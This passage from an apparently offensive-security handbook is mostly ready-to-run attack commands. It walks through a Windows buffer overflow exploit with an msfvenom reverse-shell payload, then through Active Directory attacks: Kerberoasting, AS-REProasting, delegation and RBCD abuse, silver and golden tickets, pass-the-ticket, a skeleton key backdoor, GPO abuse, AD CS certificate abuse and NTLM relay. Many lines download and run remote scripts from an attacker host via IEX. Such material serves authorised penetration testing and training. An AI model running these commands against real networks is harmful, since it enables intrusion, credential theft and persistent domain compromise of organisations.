"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
```

The script would look like this:

```python
badchars = "<BADCHARS>"
buffer = <OFFSET>*'A'+'BBBB'+'C'*100+badchars
```

Restart the program, run the exploit, click on the ESP registry in the Immunity Debugger and click on "Follow in Dump".

Check if a character is missing from your BADCHARS string. Whether the byte does not appear or 00 appears instead, remove the byte from your exploit.

Another way to get the bad chars is to run the following command, where the first bad char is the one to remove.

```bash
!mona compare -f bytearray.bin -a <Dirección donde badchars empieza>
```

The bad chars are listed in the following table.

| Address    | Statys                    | Badchars             | Tyrp   |
| ---------- | ------------------------- | -------------------- | ------ |
| 0x016def24 | Corruption after 06 bytes | 00 07 08 2e 2f a0 a1 | normal |

**Note**: As you have removed the 00, the bad chars would be 07, 2e and a0.

Once the bad char is found, run the command `!mona bytearray -b "\x00x<BADCHAR>"`, adding the bad chars found and run the exploit again. Moreover, **remove** the bad chars from the `badchars` variables.

This process is iterative until no more bad chars appear.

## Looking for JMP ESP instruction addresses

Now, look for memory addresses that contain the `JMP ESP` instruction but whose address does not contain the previously obtained bad chars.

```bash
!mona jmp -r esp -cpb "\x00\x07\x2e\x0a"
!mona find -s "\xdd\xe4" -m "<Library_dll>" # Find the instruction inside a specif library
```

In the `window/Log data` window, you will see several results, as it is possible to use the address of momeria, whose file is from the application itself and which has everything set to "False".

Copy the address and pass it to **Little Endian**.

```bash
625014DF -> "\xDF\x14\x50\x62"
```

## Generating the payload

Run **msfvenom** to generate your payload with `EXITFUNC=THREAD` so that the exploit can be launched multiple times.

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<YourIP> LPORT=443 -b "\x00\x07\x2e\x0a" -f python EXITFUNC=thread -v payload # -e x86/shikata_ga_nai
```

**Note**: If the exploit does not work, try other encoders. You can list the available encoders with `msfvenom --list encoders`.

The variables would look like this.

```python
buf = "<PAYLOAD>"
[...]
buffer = "A"*2012+"\xDF\x14\x50\x62"+"\x90"*100+buf 
```

The NOPs (0x90) instructions are added to prevent your payload from overwriting the value of the JUMP ESP address.

## Testing the exploit

Finally, use **netcat** to listen on port 443, restart the program and run the exploit. If you have obtained a functional reverse shell you can execute the exploit against the target machine.

## References

* [Buffer Overflow (Hacker's Grimoire)](https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/buffer-overflow)
* [Buffer Overflow Prep (TryHackMe)](https://tryhackme.com/room/bufferoverflowprep)
* [Buffer Overflow en Windows 32 bits - Desarrollo de un exploit con MiniShare 1.4.1](https://www.youtube.com/watch?v=PQJn4s4E8Os)


# Active Directory

## Introduction

This section contains some exploiting techniques on Active directory environments.


# Kerberos

## Introduction

This section contains some of the techniques to obtain, crack and craft Kerberos Tickets to perform lateral movements on the network.

## Ticket gathering

Running [Rubeus](https://github.com/GhostPack/Rubeus) with a privileged account can dump tickets stored on the system.

Despite requiring a compilation, you can download the [compiled](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe) and the [PowerShell](https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1) version.

```bash
# Gathers tickets that are being transferred to the KDC
Rubeus.exe harvest /interval:30 
# Extract current TGTs
Rubeus.exe dump 
```

## Kerberoasting

The technique consists of obtaining the NTLM hash from the TGS (Ticket Granting Service) of any account that has an associated SPN.

You can use any of the following tools.

* Invoke-Rubeus: [Link](https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1)
* Invoke-kerberoast: [Link](https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1)

```bash
# Rubeus
IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Invoke-Rubeus.ps1') ; Invoke-Rubeus kerberoast
# Kerberoast
IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat {John | Hashcat} [ | % { $_.Hash } | Out-File -Encoding ASCII kerberoast_hashes.txt ]
```

If the attacker has **credentials** but not remote access to the system, it can run `GetUserSPNs.py`.

```bash
GetUserSPNs.py '<Domain>/<Username>:<Password>'  -request -save -outputfile GetUserSPNs.txt -dc-ip $IP
```

**Note**: To obtain the **samaccountname** of the service **pricipalname** run the following command:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Invoke-Kerberoast.ps1'); Get-NetUser| select samaccountname,serviceprincipalname
```

### Cracking Kerberos Hashes

Once obtained the Kerberos Tickets it is necessary to crack them in order to gain access to the system.

```bash
hashcat -m 13100 GetUserSPNs.txt <WORDLIST> -o <RESULT.txt>
```

## AS-REProasting

Attempt to harvest encrypted TGT, for a later cracking, from users with the attribute `DONT_REQ_PREAUTH` enabled.

```bash
# Modify the hash, so it looks like this "$krb5asrep$23$..." 
.\Rubeus.exe asreproast

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>[:<domain_user_password>] [-no-pass] -request -format {hashcat | john} -outputfile <output_AS_REP_responses_file> 

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name> [-usersfile <users_file>] -format {hashcat | john} -outputfile <output_AS_REP_responses_file> [-no-pass]
```

### Cracking password

```bash
hashcat -m 18200 -a 0 <hashes.txt> <wordlist.txt>
```

### User Enum (Abusing Pre-Authentication)

By brute-forcing the Kerberos pre-authentication, you do not trigger an account failed event.

```bash
kerbrute userenum --dc <DOMAIN_IP> -d <DOMAIN> <users.txt>
```

## Unconstrained Delegation

> :information\_source:**Delegation** allows a server to impersonate a client and access network resources on the client's behalf. This is useful in situations where a client needs to access resources that are not directly accessible, such as when accessing a file share on another server.

> :information\_source:In order to exploit this vulnerability, you will need to be administrator on the machine.

This vulnerability arises when a principal account (a user or mainly a computer) is configured with unconstrained delegation privileges, which allows the account to impersonate any user on the network and access any resource that the user has permission to access.

### Cached tickets

If **you have admin access** on a machine with unconstrained delegation, look for some cached krbtgt tickets and extract them.

1\. Enumerate tickets on the machine

```powershell
.\Rubeus.exe triage
```

2\. Extract the ticket you want

<pre class="language-bash"><code class="lang-bash"><strong>.\Rubeus.exe dump /nowrap /luid:&#x3C;LUID> 
</strong></code></pre>

3\. Impersonate the user

```bash
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<TICKET>
```

### Force machines authentication

Another method to take advantage of this vulnerability is by executing one of the following tools so the victim machine interacts with the vulnerable machine, obtaining the machine's TGT, so it be used for lateral movement getting access to the machine as administrator.

1\. Monitor the machine for new TGTs.

> :information\_source: You need to be NT Authority system.
>
> ```bash
> C:\Windows\Tasks\PsExec64.exe -accepteula -s -d -i cmd.exe
> ```

```bash
.\Rubeus.exe monitor /interval:10 /nowrap
```

2\. Coerce the target machine to attempt authenticating to the attacker controlled machine. To do so, there are several alternatives:

* [SharpSpoolTrigger](https://github.com/cube0x0/SharpSystemTriggers) (Executable)

```bash
.\SharpSpoolTrigger.exe <TARGET_HOSTNAME> <LISTENER_HOSTNAME>
```

* [PetitPotam](https://github.com/topotam/PetitPotam) (Executable)

```bash
.\PetitPotam.exe <LISTENER_HOSTNAME> <TARGET_HOSTNAME>
```

* [SpoolSample](https://github.com/leechristensen/SpoolSample)

```bash
.\SpoolSample.exe <TARGET_HOSTNAME> <LISTENER_HOSTNAME>
```

* [Invoke-Spoolsample.ps1](https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Spoolsample.ps1)

```powershell
new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Invoke-Spoolsample.ps1') | IEX
Invoke-Spoolsample -Command "<TARGET_HOSTNAME> <LISTENER_HOSTNAME>"
```

* [printerbug.py](https://github.com/dirkjanm/krbrelayx/tree/master) (Requires domain credentials)

```bash
python3 printerbug.py  <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET_HOOSTNAME> <LISTENER_HOSTNAME>
```

3\. Perform an S4U request to obtain a usable TGS of an Admin user on the machine.

```bash
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/<TARGET_HOSTNAME> /user:<TARGET_HOSTNAME>$ /nowrap /ticket:<TICKET>
```

4\. Impersonate the user (There are two alternatives)

```powershell
# Create a new process
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:Administrator /password:FakePass123 /ticket:<TICKET>

# Import the ticket into the process
Invoke-Mimikatz -Command '"kerberos::ptt <KIRBI_FILE>"'
```

5\. Test if you can access the machine

```powershell
ls \\<HOSTNAME>\C$
```

## Constrained Delegation

When constrained delegation is enabled on a service account, it limits the user's access to only specified services on specific computers. This type of delegation is commonly used in scenarios where a user authenticates to a web service without Kerberos and the service needs to make requests to a database server on behalf of the user to retrieve data based on their authorization.

To impersonate a user, Service for User (S4U) extension is used which provides two extensions:

* **Service for User to Self** (S4U2self): Allows a service to obtain a forwardable TGS to itself on behalf of a user.
* **Service for User to Proxy** (S4U2proxy): Allows a service to obtain a TGS to a second service on behalf of a user.

The steps to take advantage of this feature are the following:

1\. Obtain the TGT of the principal (computer or user) trusted for delegation.

```bash
# List the tickets
.\Rubeus.exe triage
# Obtain the ticket
.\Rubeus.exe dump /service:krbtgt /nowrap /luid:<LUID>
```

2\. With the TGT, perform an S4U request to obtain a usable TGS for CIFS. This will perform an S4U2Self first and then an S4U2Proxy.

> * `/impersonateuser` is the user we want to impersonate - they should have local admin access on the target machine. nlamb is a domain admin which is required for accessing the domain controller.
> * `/msdsspn` is the service principal name that SQL-2 is allowed to delegate to.
> * `/user` is the principal allowed to perform the delegation.
> * `/ticket` is the TGT for `/user`.

```powershell
.\Rubeus.exe s4u /impersonateuser:<IMPERSONATE_USER> /msdsspn:<ALLOWED2DELEGATE_SERVICE>/<ALLOWED2DELEGATE_HOSTNAME> /user:<ALLOWED2DELEGATE_HOSTNAME>$ /nowrap /ticket:<TICKET>
```

3\. Impersonate the user (Two alternatives)

```bash
# Create a new process
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<IMPERSONATED_USER> /password:FakePass /ticket:<TICKET>

# Import Ticket into the process
Invoke-Mimikatz -Command '"kerberos::ptt <KIRBI_FILE>"'
```

4\. Check that you have access to the machine.

```bash
ls \\<HOSNTAME>\c$
```

## Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity)

The **two** major **prerequisites** to pull off the attack are:

1. A target computer on which you can modify "msDS-AllowedToActOnBehalfOfOtherIdentity"**.**
2. Control of another principal that has an SPN.

The steps to reproduce the attack are the following:

1\. Look for modifiable ACL permissions

```powershell
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

# Convert the obtained SID to know the name of the ACL
ConvertFrom-SID <SID>
```

2\. On a domain machine with high privilege, request its SID.

```powershell
Get-DomainComputer -Identity <HOSTNAME> -Properties objectSid
```

3\. Set the object you want to modify, in this case "msDS-AllowedToActOnBehalfOfOtherIdentity".

```powershell
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<OBJECT_SID>)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "<TARGET_HOSTNAME>" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
```

4\. Check that the object has been settled correctly.

```powershell
powershell Get-DomainComputer -Identity "<TARGET_HOSTNAME>" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
```

5\. From the computer with higher privileges perform the S4U.

```powershell
# Obtain the machine's krbtgt ticket
.\Rubeus.exe triage
.\Rubeus.exe dump /service:krbtgt /nowrap /luid:<MACHINE_LUID>

# Perform the S4u
\Rubeus.exe s4u /user:<MACHINE_WITH_HIGHER_PRIVILEGES>$ /impersonateuser:<USER> /msdsspn:cifs/<HOSTNAME>.<DOMAIN> /nowrap /ticket:<TICKET>
```

6 Pass the ticket to the session.

```powershell
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<TICKET>
```

### Alternate Service Name

On constrained delegation the delegedation occurs not only for the specified service on the target machine but for any service running on the machine under the same account name. There is no validation for the SPN specified in s4u.

Hence, it allows access to different services running on the machine (usually CIFS). To exploit this vulnerability, you can create a TGT with the following command.

```bash
.\Rubeus.exe s4u /ptt /impersonateuser:Administrator /msdsspn:<CONSTRAINED_SERVICE>/<HOSTNAME> /altservice:cifs /ticket:<TICKET>

```

## Resource-Based Constrained Delegation (GenericWrite to Computer)

Having a domain user with GenericWrite into a domain computer implies that it is possible to access the computer as Administrator.&#x20;

1\. Create a fake domain computer and modify the attribute `msds-allowedtoactonbehalfofotheridentity` of the target computer. There are several alternatives to achieve this goal.

* **Alternative 1 - PowerView**

```powershell
# Download dependencias
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/PowerView.ps1');
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Powermad.ps1');
# Create machine
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'h4x' -AsPlainText -Force)

# Create AccessControl 
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

# Append AccessControl to victim machine
Get-DomainComputer -Identity <VULNERABLE_MACHINE_NAME> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

* **Alternative 2 - AD Module**

```powershell
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Powermad.ps1');
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/PowerView.ps1');

New-MachineAccount -MachineAccount rulon -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose

# If Set-ADComputer, is not recognized it it is necessary to install the  (Requires high privileges)
Enable-WindowsOptionalFeature -FeatureName ActiveDirectory-Powershell -Online -All

Set-ADComputer <VULNERABLE_MACHINE_NAME>  -PrincipalsAllowedToDelegateToAccount rulon$ -Server <DC_IP> -Verbose
```

* **Alternative 3 - Impacket**

```bash
impacket-addcomputer -computer-name 'myComputer$' -computer-pass 'h4x' <DOMAIN>/<USER>:<PASSWORD>

impacket-rbcd -action write -delegate-to "<TARGET_COMPUTER>" -delegate-from "myComputer$" <DOMAIN>/<USER>:<PASSWORD>
```

2\.  Check that the configuration has been applied successfuly, so you can continue with the attack.

> :information\_source: It should appear "myComputer$".

```powershell
$RBCDbytes = Get-DomainComputer <VULNERABLE_MACHINE_NAME>  -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
ConvertFrom-SIDsuccessfully $Descriptor.DiscretionaryAcl.SecurityIdentifier
```

3\.  Impersonate the user Administrator. There are several alternatives to achieve this goal.

* **Rubeus**

```powershell
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Invoke-Rubeus.ps1');
Invoke-Rubeus -Command 'hash /password:h4x'
Invoke-Rubeus -Command 's4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:Administrator /msdsspn:CIFS/<VULNERABLE_MACHINE_NAME_DOMAIN> /domain:<DOMAIN> /dc:<DC_IP> /nowrap /ptt'
```

* **Impacket**

```bash
impacket-getST -spn cifs/<TARGET_HOSNTAME> -impersonate administrator '<DOMAIN>/myComputer$:h4x'
```

4\. Connect to the target machine.

```powershell
# Alternative 1 - Windows
ls \\<VULNERABLE_MACHINE_NAME>\c$

# Alternative 2 - Impacket
export KRB5CCNAME=$(pwd)/administrator.ccache
impacket-psexec administrator@backup01.corp.com -k -no-pass
```

## S4U2Self Abuse

S4U2Self (Service for User to Self) allows a service to obtain a TGS to itself on behalf of a user. While, S4U2Proxy allows the service to obtain a TGS on behalf of a user to a second service.

So, when a client authenticates to the service using, say, NTLM authentication, what the service will do is first send S4U2Self request to get TGS to itself. Then use this TGS with S4U2Proxy to request TGS to another service, impersonating a user on that machine. \
This is because machines do not get remote local admin access to themselves. What we can do instead is abuse S4U2Self to obtain a usable TGS as a user we know **is** a local admin (e.g. a domain admin).

```bash
\Rubeus.exe s4u /impersonateuser:<ADMIN_USER> /nowrap /self /altservice:cifs/<HOSTNAME> /user:<HOSTNAME>$ /ticket:<TICKET>
```

## WriteDacl over a group

If your current user or group has `WriteDacl` over a group, you can modify the group ACLs allowing you to add any member to it.

1\. Enumerate that your current user has `WriteDacl` over a group.

```powershell
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_ | Select-object -Property ObjectDN,ActiveDirectoryRights, AceType, Identity |  Format-List}}}

ObjectDN              : CN=Admins,OU=Groups,DC=corp,DC=com
ActiveDirectoryRights : WriteDacl
AceType               : AccessAllowed
Identity              : CORP\User1
```

2\. Change the ActiveDirectoryRights to "GenericAll".

```powershell
$creds = New-Object System.Management.Automation.PSCredential ("CORP\User1",(ConvertTo-SecureString "PassW0rd!" -AsPlainText -Force))

Add-DomainObjectAcl -TargetIdentity <VICTIM_IDENTITY> -PrincipalIdentity <NEW_USER> -Rights All -Verbose -Credential $creds
```

3\. Add your user to the group.

```powershell
Add-DomainGroupMember -Identity 'Admins' -Members 'User1' -Credential $creds
```

## Tickets

### Silver Ticket (Local)

A Silver Ticket has limited use because it can only allow access to the targeted service. To achieve this you need to dump any service or domain admin ticket.

Dump the hash and the security identifier for the targeted service.

```bash
.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:<serviceName>"
```

Create a silver ticket.

**Note:** The `/user` is the username that will appear on the windows security logs.

```bash
.\mimikatz.exe "kerberos::golden /user:<Administrator> /domain:<domain> /sid:<ServiceSID> /krbtgt:<ServiceHash_NTLM> /id:<ServiceAccountID>"
```

Now you are able to access the computer hosting the service with admin rights using the techniques of passing the ticket.

In order to check that we have admin permissions on the service host, you can use `dir` against the `ADMIN$` share.

```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```

More ways to access the service machine: [Link](https://book.hacktricks.xyz/windows/active-directory-methodology/silver-ticket)

### Silver Ticket (Remote)

If we are inside a network and have enough information about the victim's service but no access to a machine to craft a ticket with mimikatz, we can **ticketer** to create a silver ticket. But, we need the following requirements:

* NTLM hash: Obtained by obtaining the user's password by cracking the user SPN Ticket, mimizatz, etc. and converting it into NTLM format using a web such as [browserling.com](https://www.browserling.com/tools/ntlm-hash).
* Domain SID: Obtained using rpcclient, LDAP, mimikatz, getPac, etc.
* User-id: Id of the user we want to impersonate, by default, is 500 (Administrator). It can be obtained with the tools mentioned earlier

```bash
ticketer.py -nthash <NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SPN_NAME> [-user-id <USER_ID|500>] <USERNAME_FOR_TICKET>
```

Then, we can use this ticket for many impacket tools such as:

```bash
export KRB5CCNAME=<PATH>/<USERNAME_FOR_TICKET>.ccache 
smbclient.py -k -no-pass <MACHINE>
psexec.py -k -no-pass <DOMAIN>/<USERNAME>@<MACHINE>
secretsdump.py -k -no-pass <DOMAIN>/<USERNAME>@<MACHINE>
```

### Golden Ticket

A Golden Ticket allows access to any Kerberos service. In order to achieve this, you need to obtain a ticket from the service account "KRBTGT".

Dump the hash and the security identifier needed to create a Golden Ticket.

```bash
.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt"
```

Create a golden ticket.

> **Note:** The `/user` is the username that will appear on the windows security logs.
>
> **Note 2**: The `/id`: The user RID. The default value is 500 (local administrator).

```bash
.\mimikatz.exe "kerberos::golden /user:<Administrator> /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HTML> /ptt [/id:<ServiceAccountID>]" "exit"
```

### Cracking tickets

Just like kerberoasting, you can crack a ticket to get the SPN account password.

```bash
tgsrepcrack.py <wordlist.txt> <ticket.kirbi>
```

### Pass The Ticket

Dumping TGT from the LSASS memory of the machine. For a later use impersonating the user.

**Exporting tickets**

```bash
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" #Dumping all the tickets en ficheros *.kirbi
```

**Using the tikets**

Linux

```bash
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following commands by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pas
```

**Windows**

```bash
mimikatz.exe "kerberos::ptt <ticket.kirbi>" 
# List tickets, checking it has been imported correctly
klist
# Import the ticket
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file> 
# Execue a remote cmd
.\PsExec.exe -accepteula \\<remote_hostname> cmd 
```

## Skeleton Key backdoor

Implanting a skeleton key that abuses AS-REQ encrypted timestamp validation, allowing you to access to the domain forest.

**Note**: A skeleton key only works using Kerberos RC4 encryption.

```bash
.\mimikatz.exe "privilege::debug" "misc::skeleton"
```

Accessing the forest with the default mimikatz password "mimikatz".

```bash
net use C:\\<DC>\admin$ /user:Administrator mimikatz
```

## References

* [Resource-Based Constrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution)
* [4 Ways to Abuse Constrained Delegation](https://m3rcer.netlify.app/redteaming/constrained_delegation/#alternate-service-name-abuse)
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [Red Team Ops](https://training.zeropointsecurity.co.uk/courses/red-team-ops)


# GPOs

## Introduction

A GPO (Group Policy Object) is a collection of settings that define how computers and users on a network should behave. GPOs are used to enforce security policies, configure system settings, and manage software installations across multiple computers in an organization.

If domain users can modify a GPO, it can lead to several problems like having RCE on a machine.

## Modifiable GPOs

1\. Enumerate modifiable GPOs&#x20;

```powershell
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
```

2\. If there is any, resolve its GPO name and the SID of the principal.

```powershell
Get-DomainGPO -Identity "<ObjectDN>" | select displayName, gpcFileSysPath
ConvertFrom-SID <SecurityIdentifier>
```

3\. Find out the OU where the GPO appears.

```powershell
Get-DomainOU -GPLink "{RelativeDN}" | select distinguishedName
```

4\. Get the computer where the GPO applies.

```powershell
Get-DomainComputer -SearchBase "<OU_distinguishedname>" | select dnsHostName
```

5\. Modify the GPO

```bash
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "<SCRIPT_CONTENT>" --GPOName "<GPO_NAME>"
```

6\. Wait for the GPO to take effect (20 minutes or so).

## Principals with Create groupPolicyContainer objects privilege

1\. Enumerate principals (Users/groups) that can create new GPOs in the domain.

```powershell
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
```

2\. Look for OUs with "WriteProperty" on the attribute "GP-LINK".

3\. Become the principal and create a GPO

> :information\_source:Because we are using the autorun key registry, the workstation must be restarted so the payload is executed.

```powershell
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "<COMMAND>" -Type ExpandString
```


# Certificates

## Introduction

Active Directory Certificate Services (AD CS) is a customizable service for issuing and managing digital certificates. These digital certificates can be used for the authentication of computer, user, or device accounts on a network.

## Misconfigured Certificate Templates

This configuration allows any domain user to request a certificate for any other domain user and use it for authentication.

To check if there is any vulnerable template, you can execute the following command.

> :information\_source:If "\<DOMAIN>\Domain Users" have enrollment rights, it means any domain user may request a certificate from this template.

```bash
.\Certify.exe find /vulnerable
```

These are the steps to exploit this vulnerability.

1\. Request a certificate for a user with high privileges on the domain, then save the private key and certificate into a file like `cert.pem`.

```bash
.\Certify.exe request /ca:<PREVIOUSLY_OBTAINED_CA> /template:<VULNERABLE_TEMPLATE_NAME> /altname:<USER_TO_IMPERSONATE>
```

2\. Convert the `cert.pem` into pdf format.

```bash
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

3\. Base64 encode the certificate to use it with Rubeus.

```bash
cat cert.pfx | base64 -w 0
```

4\. Request a TGT using the encoded certificate.

```bash
.\Rubeus.exe asktgt /user:Administrator /nowrap /password:<EXPORTING_PASSWORD> /certificate:<BASE64>
```

## NTLM Relaying to ADCS HTTP Endpoints

Useful for when you have the **CA running on a web service** and **authentication via NTLM**. In this case you can force a DC to authenticate to an attacker's machine and then use it to obtain a TGT.

AD CS services support HTTP enrolment methods and even includes a GUI. This endpoint is usually found at `http[s]://<hostname>/certsrv`&#x20;

> You **cannot** relay NTLM authentication back to the originating machine. We therefore wouldn't be able to **relay a DC to a CA if those services were running on the same machine**.
>
> Another good way to abuse this primitive is by gaining access to a machine configured for unconstrained delegation.

These are the steps to exploit this vulnerability.

1\. Execute ntlmrelayx pointing to the web CA on the attacker machine.

```bash
sudo proxychains ntlmrelayx.py -t https://<ADCS>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
```

2\. Force the DC to authenticate against the attacker machine. The certificate will appear on the ntlmrelayx tool.

> You can use any of the programs on [Unconstrained Delegation](/active-directory/kerberos#unconstrained-delegation).

```bash
.\SharpSpoolTrigger.exe <TARGET_DC> <ATTACKER_MACHINE>
```

3\. Use the S4U2Self to obtain the TGT.

```bash
.\Rubeus.exe asktgt /user:<HOSTNAME>$ /ptt /certificate:<NTLM_CERTICIFATE>
```


# LAPS

## Introduction

Local Administrator Password Solution (LAPS) is a Microsoft tool that helps organizations secure their local administrator accounts on Windows-based computers. It provides a unique, randomly generated password for each local administrator account on every managed computer in an organization's network, and stores the password securely in Active Directory.

## Enumeration

There are three main ways to check if LAPS is enabled on the machine you have access to.

* Check if the `AdmPwd.dll` exists on the system.

```bash
dir C:\Program Files\LAPS\CSE
```

* Check for GPOs related to "LAPS".

```powershell
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
```

* Check if the object `ms-Mcs-AdmPwdExpirationTime` is not null.

```powershell
Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName
```

## Exploitation

1\. Download the `Registry.pol,` which location is at the `gpcfilesyspath` obtained while enumerating GPOs.

```powershell
ls <GPCFileSysPath>\Machine\Registry.pol
```

2\. Parse the file with the following command from the [GPRegistryPolicyParser](https://github.com/PowerShell/GPRegistryPolicyParser).

```powershell
Parse-PolFile .\Desktop\Registry.pol
```

After parsing the file, you can obtain the following information:

* Password complexity is upper, lower and numbers.
* Password length is 14.
* Passwords are changed every 30 days.
* The LAPS managed account name is LapsAdmin.
